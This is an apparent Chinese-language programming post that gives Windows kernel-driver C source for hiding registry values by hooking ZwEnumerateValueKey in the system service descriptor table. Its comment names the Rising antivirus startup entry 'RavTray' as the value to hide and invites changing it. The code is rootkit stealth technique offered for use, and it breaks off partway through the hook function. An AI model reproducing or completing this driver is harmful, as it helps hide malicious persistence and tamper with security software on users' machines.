隐藏注册表的键值

通过HOOK ZwEnumerateValueKey来实现
#include <ntddk.h>
#include <stdio.h>

//定义ObQueryNameString
NTSYSAPI NTSTATUS NTAPI ObQueryNameString(
IN PVOID Object,
OUT PVOID ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);

//定义ZwEnumerateValueKey
NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);

//定义要Hook的API函数原型                     
NTSTATUS MyZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);                     

//声明函数指针，并且函数返回值为NTSTATUS类型                   
typedef NTSTATUS (*REALZWENUMERATEVALUEKEY)(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);                     

REALZWENUMERATEVALUEKEY RealZwEnumerateValueKey=NULL;

//这就是要隐藏的键值，这里我隐藏的键值是瑞星杀毒软件的启动项，你也可以改成别的
PWSTR HideValue=L"RavTray";  

#pragma pack(1)
typedef struct ServiceDescriptorEntry{
unsigned int  *ServiceTableBase;
unsigned int  *ServiceCounterTableBase;
unsigned int  *NumberOfServices;
unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragma pack() 

_declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] 

NTSTATUS HookApi();
NTSTATUS UnHook();
PVOID GetPointer(HANDLE handle);
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject);

PVOID GetPointer(HANDLE handle)
{
PVOID pKey;
if(!handle) return NULL;
if (ObReferenceObjectByHandle(handle,0,NULL,KernelMode,&pKey,NULL)!=STATUS_SUCCESS)
{
pKey=NULL;
}
return pKey;
}

NTSTATUS MyZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
)
{
PVOID pKey;
UNICODE_STRING *pUniName;
ULONG actuallen;
UNICODE_STRING uStrValueName;
ANSI_STRING keyname;